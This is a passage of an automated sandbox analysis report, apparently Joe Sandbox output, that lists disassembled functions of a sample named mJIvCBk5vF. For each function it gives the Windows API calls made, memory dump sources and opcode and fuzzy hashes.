                                                                                                                                                        • Opcode Fuzzy Hash: 10e56d1b77a81453c96c7b9ea12575dc1fb82ab368ec2b4ca4356c56208c8516
                                                                                                                                                        • Instruction Fuzzy Hash: 0E117930910309EBDF30DB61C809B6E37A9FB45361F548A29E56EC5290DBB1DE44AB71
                                                                                                                                                        Function 00DA7628 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • CreateThread.KERNELBASE(00000000,00010000,Function_00017760,?,00000000,?), ref: 00DA764C
                                                                                                                                                        • SetThreadPriority.KERNEL32(?,00000000,?,?,?,?,00000004,00D9736D,00D95AB0,?), ref: 00DA7693
                                                                                                                                                          • Part of subcall function 00D992EB: __EH_prolog3_GS.LIBCMT ref: 00D992F2
                                                                                                                                                          • Part of subcall function 00D99500: __EH_prolog3_GS.LIBCMT ref: 00D99507
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: H_prolog3_Thread$CreatePriority
                                                                                                                                                        • String ID: CreateThread failed
                                                                                                                                                        • API String ID: 3138599208-3849766595
                                                                                                                                                        • Opcode ID: 717f680eaf353f0a7a8eeeb9e28f4951b8e970723d539cee0ae34c7e6f0444ba
                                                                                                                                                        • Instruction ID: 3a9270ce51896acfab8a4bcb74afdcae945270447693be22a87cdc3c5b66527c
                                                                                                                                                        • Opcode Fuzzy Hash: 717f680eaf353f0a7a8eeeb9e28f4951b8e970723d539cee0ae34c7e6f0444ba
                                                                                                                                                        • Instruction Fuzzy Hash: 5601D6753487066FE7107F68EC81F627398EB41711F24042EF6459A280DAF16805D63C
                                                                                                                                                        Function 00D9DE9A Relevance: 4.6, APIs: 3, Instructions: 115fileCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • __EH_prolog3_GS.LIBCMT ref: 00D9DEA1
                                                                                                                                                        • CreateFileW.KERNELBASE(?,?,?,00000000,00000002,00000000,00000000,?,00000024,00D9E8F5,?,?,00D9A6B9,?,00000011,?), ref: 00D9DF15
                                                                                                                                                        • CreateFileW.KERNEL32(?,?,?,00000000,00000002,00000000,00000000,?,?,?,00D9D303,?,?,?), ref: 00D9DF65
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: CreateFile$H_prolog3_
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1771569470-0
                                                                                                                                                        • Opcode ID: f7147f030f25167e0e026308551a82c5be574bfd5e0d96b8dee473d9d486065a
                                                                                                                                                        • Instruction ID: 2b276a53cca9fb77421c7fd3c5ca62a289a868aff40b530e61640ff5dd756cd3
                                                                                                                                                        • Opcode Fuzzy Hash: f7147f030f25167e0e026308551a82c5be574bfd5e0d96b8dee473d9d486065a
                                                                                                                                                        • Instruction Fuzzy Hash: 15416AB0910208DEDF14DFA8D88ABEEB7F5EF08320F14561EE456A6281D774A9448B34
                                                                                                                                                        Function 00DA6C5E Relevance: 4.6, APIs: 3, Instructions: 90libraryCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • __EH_prolog3_GS.LIBCMT ref: 00DA6C65
                                                                                                                                                        • GetSystemDirectoryW.KERNEL32(00000000,00000104), ref: 00DA6C9A
                                                                                                                                                        • LoadLibraryW.KERNELBASE(00000000,?,?,00000000,00000000,?), ref: 00DA6D0C
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: DirectoryH_prolog3_LibraryLoadSystem
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1552931673-0
                                                                                                                                                        • Opcode ID: 7e2f337996ea86cbb3bb4d47f99a8a8ec055703d1dd9ae8e58b29b830ed2af09
                                                                                                                                                        • Instruction ID: 1df56511ec786ded44742a1e4a34df3de4101600a79d51a4521080f43b704b17
                                                                                                                                                        • Opcode Fuzzy Hash: 7e2f337996ea86cbb3bb4d47f99a8a8ec055703d1dd9ae8e58b29b830ed2af09
                                                                                                                                                        • Instruction Fuzzy Hash: 4E316975E00209DACF04DBE4C889BEEBBB8EF49314F14011EE105B7285DB749A49CB71
                                                                                                                                                        Function 00D9F58B Relevance: 4.6, APIs: 3, Instructions: 60COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • __EH_prolog3_GS.LIBCMT ref: 00D9F592
                                                                                                                                                        • SetFileAttributesW.KERNELBASE(?,?,00000024,00D9A724,?,?,?,00000011,?,?,00000000,?,?,?,?,?), ref: 00D9F5A8
                                                                                                                                                        • SetFileAttributesW.KERNEL32(?,?,?,?,?,00D9D303,?,?,?,?,?,?,?,D8943D1D,00000049), ref: 00D9F5EB
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AttributesFile$H_prolog3_
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2559025557-0
                                                                                                                                                        • Opcode ID: 9246f479a4cdbdf3af6e1f8ba60082a399913d6a3f0864fb7fed28d85dc03bc9
                                                                                                                                                        • Instruction ID: 8afb30076c7e4876ab5e685ff5228074c756e3158395dd2d99557c6bec89278c
                                                                                                                                                        • Opcode Fuzzy Hash: 9246f479a4cdbdf3af6e1f8ba60082a399913d6a3f0864fb7fed28d85dc03bc9
                                                                                                                                                        • Instruction Fuzzy Hash: DD11E475A10209EBDF04DFA8E885ADEB7B8FF08314F14502AE905E7250DB34DA55CB74
                                                                                                                                                        Function 00D9EC63 Relevance: 4.6, APIs: 3, Instructions: 58fileCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • __EH_prolog3_GS.LIBCMT ref: 00D9EC6A
                                                                                                                                                        • DeleteFileW.KERNELBASE(?,00000024,00D9D6F7,?), ref: 00D9EC7D
                                                                                                                                                        • DeleteFileW.KERNEL32(00000000,?,00000000), ref: 00D9ECBD
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: DeleteFile$H_prolog3_
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 3558260747-0
                                                                                                                                                        • Opcode ID: d5b2709fc50b38f2d06a268ac30ec191068610d8eb634641d0852b2283c3250e
                                                                                                                                                        • Instruction ID: 76ae6353302ee93c9c45167c193f592e013774aa11389b94a87e99d50d7fee1d
                                                                                                                                                        • Opcode Fuzzy Hash: d5b2709fc50b38f2d06a268ac30ec191068610d8eb634641d0852b2283c3250e
                                                                                                                                                        • Instruction Fuzzy Hash: 4911C675E1021ADBDF04DFA8E889ADEB7B8EF08311F18542AE545F7250DA34A9848B74
                                                                                                                                                        Function 00D9ED1F Relevance: 4.6, APIs: 3, Instructions: 57COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • __EH_prolog3_GS.LIBCMT ref: 00D9ED26
                                                                                                                                                        • GetFileAttributesW.KERNELBASE(?,00000024,00D9ED16,00000000,00D9A4A1,D8943D1D,?,00D9CDDD,?,?,?,?,?,?,?,?), ref: 00D9ED39
                                                                                                                                                        • GetFileAttributesW.KERNELBASE(?,?,?), ref: 00D9ED79
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AttributesFile$H_prolog3_
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2559025557-0
                                                                                                                                                        • Opcode ID: 81e4dc32cd151a9aeedb45b514e320c21480bd69b489217b02c5df20f10e27b6
                                                                                                                                                        • Instruction ID: eada9f449c32948bb5b68bf9e8be62f3481954e1daccdaab1826e06d248902a5
                                                                                                                                                        • Opcode Fuzzy Hash: 81e4dc32cd151a9aeedb45b514e320c21480bd69b489217b02c5df20f10e27b6
                                                                                                                                                        • Instruction Fuzzy Hash: 60110475A10219DBCF04DFA8E989AEDB7F9EF49320F18142AE505F3380DA309A458B74
                                                                                                                                                        Function 00D9E3D5 Relevance: 3.1, APIs: 2, Instructions: 140COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • SetFilePointer.KERNELBASE(000000FF,?,?,?,?,00000000,?,00000000,00D9E3B1,?,?,00000000,?,?,00D9CC21,?), ref: 00D9E55F
                                                                                                                                                        • GetLastError.KERNEL32 ref: 00D9E56E
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ErrorFileLastPointer
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2976181284-0
                                                                                                                                                        • Opcode ID: e462fa0aaa5d18cee10bc7b4bd1428ff1773e2a7dba2d5dd6e73cd9124ed43cb
                                                                                                                                                        • Instruction ID: 197be340aa021fe4db48ae0e4a6ab43311aa3c3fd5589e0616de03a612495776
                                                                                                                                                        • Opcode Fuzzy Hash: e462fa0aaa5d18cee10bc7b4bd1428ff1773e2a7dba2d5dd6e73cd9124ed43cb
                                                                                                                                                        • Instruction Fuzzy Hash: 1641E631604355CBDF24EF64D984AAEB3E5FF58720F18491DE98983242E774DC458BB1
                                                                                                                                                        Function 00DC26D7 Relevance: 3.1, APIs: 2, Instructions: 91COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 00DC0005: GetLastError.KERNEL32(?,?,00DBB581,?,00DDE088,?,00DBAE80,?,00DDE088,?,00000007), ref: 00DC0009
                                                                                                                                                          • Part of subcall function 00DC0005: _free.LIBCMT ref: 00DC003C
                                                                                                                                                          • Part of subcall function 00DC0005: SetLastError.KERNEL32(00000000,00DDE088,?,00000007), ref: 00DC007D
                                                                                                                                                          • Part of subcall function 00DC0005: _abort.LIBCMT ref: 00DC0083
                                                                                                                                                          • Part of subcall function 00DC27FE: _abort.LIBCMT ref: 00DC2830
                                                                                                                                                          • Part of subcall function 00DC27FE: _free.LIBCMT ref: 00DC2864
                                                                                                                                                          • Part of subcall function 00DC246B: GetOEMCP.KERNEL32(00000000,?,?,00DC26F4,?), ref: 00DC2496
                                                                                                                                                        • _free.LIBCMT ref: 00DC274F
                                                                                                                                                        • _free.LIBCMT ref: 00DC2785
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: _free$ErrorLast_abort
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2991157371-0
                                                                                                                                                        • Opcode ID: 04e5462d6f1eceaaf22889a655dbea09cfdc74adc27a2c25d68d30a64fa65285
                                                                                                                                                        • Instruction ID: b80d41a01d082db79f065ebf526840150dc70a2e843e27a6e2f0a81767301999
                                                                                                                                                        • Opcode Fuzzy Hash: 04e5462d6f1eceaaf22889a655dbea09cfdc74adc27a2c25d68d30a64fa65285
                                                                                                                                                        • Instruction Fuzzy Hash: 5A31A431904206EFDB10DB68D881FA9BBE5EF40321F29419DE404AB2A1DB729D41DB70
                                                                                                                                                        Function 00D9E772 Relevance: 3.1, APIs: 2, Instructions: 83timeCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • FlushFileBuffers.KERNEL32(?), ref: 00D9E78C
                                                                                                                                                        • SetFileTime.KERNELBASE(?,?,?,?), ref: 00D9E840
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: File$BuffersFlushTime
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1392018926-0
                                                                                                                                                        • Opcode ID: 4fb6d331b0cb97a4a462b2f5b105adfac5366da12aceb310db55f265136cd593
                                                                                                                                                        • Instruction ID: da6d0040b6c0865586315d09b98bab78c4a4e51a4dab195acadfc4ce70d0c9e3
                                                                                                                                                        • Opcode Fuzzy Hash: 4fb6d331b0cb97a4a462b2f5b105adfac5366da12aceb310db55f265136cd593
                                                                                                                                                        • Instruction Fuzzy Hash: BC21E131259382EBCB14DEA4C891AABBBE8AF95304F08491DF4C5C3141D329E90DDB72
                                                                                                                                                        Function 00DAFB4B Relevance: 3.1, APIs: 2, Instructions: 74COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • __EH_prolog3_GS.LIBCMT ref: 00DAFB52
                                                                                                                                                        • SHFileOperationW.SHELL32(?,?,?,?,?,?,?,00DE535C), ref: 00DAFC24
                                                                                                                                                          • Part of subcall function 00D914A7: _wcslen.LIBCMT ref: 00D914B8
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: FileH_prolog3_Operation_wcslen
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 3104323202-0
                                                                                                                                                        • Opcode ID: b83d36ce56bc3e97ac46d6d5490cc257140acc155aff0e4c7ddea2f03ee20910
                                                                                                                                                        • Instruction ID: 64aa556c7e3ac11f0c932d1b34fb63086116886a008f522741cc4aab8b6a4f60
                                                                                                                                                        • Opcode Fuzzy Hash: b83d36ce56bc3e97ac46d6d5490cc257140acc155aff0e4c7ddea2f03ee20910
                                                                                                                                                        • Instruction Fuzzy Hash: 7331F271D003489ADB14EFE9C896ADCBBB4EF09354F58016AE119A7292DB701A45CB30
                                                                                                                                                        Function 00D9E850 Relevance: 3.1, APIs: 2, Instructions: 56COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000001), ref: 00D9E897
                                                                                                                                                        • GetLastError.KERNEL32 ref: 00D9E8A4
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ErrorFileLastPointer
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2976181284-0
                                                                                                                                                        • Opcode ID: e8fe6f00a326223c08f7387db85699cec5bf24af26b9109843f7f7e73061bac2
                                                                                                                                                        • Instruction ID: 8af68ed6a4f269cb8dc4cd474692ef3b9b370e720965f4ad10e25d1a310e210c
                                                                                                                                                        • Opcode Fuzzy Hash: e8fe6f00a326223c08f7387db85699cec5bf24af26b9109843f7f7e73061bac2
                                                                                                                                                        • Instruction Fuzzy Hash: EC11E530600711ABEB24D6A8CC40B66B3E9EB85360F540729E152D36D0D7B0ED45E774
                                                                                                                                                        Function 00DB3C78 Relevance: 3.0, APIs: 2, Instructions: 46COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • __EH_prolog3_catch_GS.LIBCMT ref: 00DB3C82
                                                                                                                                                        • _wcslen.LIBCMT ref: 00DB3C99
                                                                                                                                                          • Part of subcall function 00DA6A89: _wcslen.LIBCMT ref: 00DA6AA6
                                                                                                                                                          • Part of subcall function 00D9B03D: __EH_prolog3_GS.LIBCMT ref: 00D9B044
                                                                                                                                                          • Part of subcall function 00D9B3E1: __EH_prolog3_GS.LIBCMT ref: 00D9B3E8
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: H_prolog3__wcslen$H_prolog3_catch_
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1265872803-0
                                                                                                                                                        • Opcode ID: cbdb94524b657811daabb58dcb86ae5589f6f94a9cf24393a5fb58e9b3286a23
                                                                                                                                                        • Instruction ID: b14f4798f871c4b17e3c7ba96ef5cb80cf27283b0fbbb3f2e7e55bcb92359ff0
                                                                                                                                                        • Opcode Fuzzy Hash: cbdb94524b657811daabb58dcb86ae5589f6f94a9cf24393a5fb58e9b3286a23
                                                                                                                                                        • Instruction Fuzzy Hash: 7E11C2359017D1AECB04FB68BC91BDC3BA4EB16358F0441AEE445DB357CBB05A448BB1
                                                                                                                                                        Function 00D91CE2 Relevance: 3.0, APIs: 2, Instructions: 45COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • __EH_prolog3_GS.LIBCMT ref: 00D91CE9
                                                                                                                                                        • GetDlgItem.USER32(?,?), ref: 00D91D01
                                                                                                                                                          • Part of subcall function 00D914A7: _wcslen.LIBCMT ref: 00D914B8
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: H_prolog3_Item_wcslen
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 896027972-0
                                                                                                                                                        • Opcode ID: d360369180f93c02585d51926d5e79d6114d64326d1c52d5d86eadf83876fc62
                                                                                                                                                        • Instruction ID: 0efb388490dc27ccc629eb4d19b9e0c06b936d1fc8961137a8e0b02437f404ec
                                                                                                                                                        • Opcode Fuzzy Hash: d360369180f93c02585d51926d5e79d6114d64326d1c52d5d86eadf83876fc62
                                                                                                                                                        • Instruction Fuzzy Hash: 22017175640316DEDB24AFA4C886BEDB7A8EF54340F44010AF956A72D1CB709A45C730
                                                                                                                                                        Function 00DA76A7 Relevance: 3.0, APIs: 2, Instructions: 33COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetCurrentProcess.KERNEL32(02000000,?,00000002,00000002,?,00DA76EA,00DA0B6F), ref: 00DA76B4
                                                                                                                                                        • GetProcessAffinityMask.KERNEL32(00000000,?,00DA76EA), ref: 00DA76BB
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
